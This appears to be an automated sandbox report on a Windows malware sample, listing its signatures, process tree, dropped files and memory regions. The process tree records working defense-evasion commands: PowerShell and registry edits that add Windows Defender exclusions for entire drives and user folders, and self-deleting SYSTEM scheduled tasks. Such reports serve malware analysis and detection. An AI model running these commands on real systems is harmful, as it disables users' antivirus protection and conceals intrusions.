Analysis

  • max time kernel
    151s
  • max time network
    112s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/11/2026, 03:58

General

  • Target
    2026-11-01_ee351c00778d11162af5b4050dfc2f04_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
  • Size 34.6MB
  • Sample261102-ejs6zasv4r
  • SHA256 e294be2a0b77c51a2984d8f82158a81d160f623b80a595ea48d1c9064237c2d6
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-11-01_ee351c00778d11162af5b4050dfc2f04_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-11-01_ee351c00778d11162af5b4050dfc2f04_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:6032
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:4268
    • C:\Users\Public\nObgEa\2sZcMn.exe
      "C:\Users\Public\nObgEa\2sZcMn.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2636
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:2552
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\nObgEa\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:3192
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\nObgEa\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3772
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:1728
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:5636
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:5884
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:3768
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:1764
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:5592
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:5256
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:5760
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:3184
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:3968
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:4160
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:3220
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:2928
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:5144
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:3900
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:4644
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:2460
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:4736
                        • C:\Users\Public\nObgEa\2sZcMn.exe
                          "C:\Users\Public\nObgEa\2sZcMn.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:2088
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\nObgEa" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4732
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\nObgEa" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5644
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:6020
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:2380
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:5396
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5064
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:3120
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5748
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4104

                          Network

                                MITRE ATT&CK Enterprise v16

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                                Downloads

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 1KB
                                • SHA256 2b84d359f378708c7bdbcc6dadd85609ef19bc51f3d8d0a4d04268314fb2cc49
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 1KB
                                • SHA256 d95d0247193f230965f87946c427f76a929218b2f331116c38de9bc16b0222c0
                                • MD5 SHA1 SHA512 TLSH

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 512B
                                • SHA256 60a75b6f0aa352ec74e1eb6891ad2bb6b9b3f0718b249b27ef8ec0de80485898
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 506B
                                • SHA256 5e31c78c8ed41705ee5674dc4a0c942265170ce01aff77c2aaddb28ad6aa8ea4
                                • MD5 SHA1 SHA512 TLSH

                                __PSScriptPolicyTest_mddekkmg.sj0.psm1

                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mddekkmg.sj0.psm1
                                • Size 60B
                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                • MD5 SHA1 SHA512 TLSH

                                2sZcMn.exe

                                • Path C:\Users\Public\nObgEa\2sZcMn.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\nObgEa\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 baa0a63a2cc7da760f339aedfe7a128e8ca9ca5219f00bc7c77b9a27ba5c4dd0
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\nObgEa\adoresd.dat
                                • Size 4.8MB
                                • SHA256 0ac53ab6dda1423bce01b421ab131856b3d96b7c621d6cea702893de3435f0c6
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\nObgEa\msadox.tb
                                • Size 8KB
                                • SHA256 8528be2693acc8cf58c61c5777b4292426c1d7e95c54d584ddebd61306201f13
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/2088-583-0x00000126809B0000-0x0000012681287000-memory.dmp

                                memory/2088-592-0x00000126809B0000-0x0000012681287000-memory.dmp

                                memory/2088-593-0x00007FFC5A5D0000-0x00007FFC5A5D2000-memory.dmp

                                memory/2088-591-0x00000126809B0000-0x0000012681287000-memory.dmp

                                memory/2088-588-0x00000126809B0000-0x0000012681287000-memory.dmp

                                memory/2088-587-0x00000126809B0000-0x0000012681287000-memory.dmp

                                memory/2088-582-0x00007FFC5A5E0000-0x00007FFC5A5E2000-memory.dmp

                                memory/2088-578-0x00000126809B0000-0x0000012681287000-memory.dmp

                                memory/2088-575-0x00007FFC37A00000-0x00007FFC37F1E000-memory.dmp

                                memory/2552-601-0x000001D9FE370000-0x000001D9FE392000-memory.dmp

                                memory/2552-609-0x000001D9FE340000-0x000001D9FE34A000-memory.dmp

                                memory/2552-607-0x000001D998A50000-0x000001D998B02000-memory.dmp

                                memory/2552-606-0x000001D998A30000-0x000001D998A4E000-memory.dmp

                                memory/2636-545-0x000001F970CE0000-0x000001F9715B7000-memory.dmp

                                memory/2636-541-0x000001F970CE0000-0x000001F9715B7000-memory.dmp

                                memory/2636-561-0x000001F9719E0000-0x000001F971A6A000-memory.dmp

                                memory/2636-560-0x000001F971900000-0x000001F97194E000-memory.dmp

                                memory/2636-566-0x000001F970CE0000-0x000001F9715B7000-memory.dmp

                                memory/2636-568-0x000001F970CE0000-0x000001F9715B7000-memory.dmp

                                memory/2636-547-0x000001F970CE0000-0x000001F9715B7000-memory.dmp

                                memory/2636-546-0x000001F970CE0000-0x000001F9715B7000-memory.dmp

                                memory/2636-610-0x000001F970CE0000-0x000001F9715B7000-memory.dmp

                                memory/2636-552-0x000001F970CE0000-0x000001F9715B7000-memory.dmp

                                memory/2636-548-0x000001F970CE0000-0x000001F9715B7000-memory.dmp

                                memory/2636-562-0x000001F9719E0000-0x000001F971A6A000-memory.dmp

                                memory/2636-540-0x00007FFC5A5E0000-0x00007FFC5A5E2000-memory.dmp

                                memory/2636-558-0x000001F970CE0000-0x000001F9715B7000-memory.dmp

                                memory/2636-538-0x000001F970CE0000-0x000001F9715B7000-memory.dmp

                                memory/2636-533-0x00007FFC37A00000-0x00007FFC37F1E000-memory.dmp

                                memory/2636-532-0x00007FFC5A5D0000-0x00007FFC5A5D2000-memory.dmp

                                memory/2636-564-0x000001F9719E0000-0x000001F971A6A000-memory.dmp

                                memory/2636-563-0x000001F9719E0000-0x000001F971A6A000-memory.dmp

                                memory/6032-2-0x0000000001F50000-0x0000000001F5C000-memory.dmp

                                memory/6032-1-0x0000000001F00000-0x0000000001F0E000-memory.dmp

                                memory/6032-504-0x00007FFC49CB0000-0x00007FFC49CC2000-memory.dmp

                                memory/6032-0-0x0000000001F00000-0x0000000001F0E000-memory.dmp

                                memory/6032-527-0x00007FFC49CB0000-0x00007FFC49CC2000-memory.dmp

                                memory/6032-526-0x0000000001F00000-0x0000000001F0E000-memory.dmp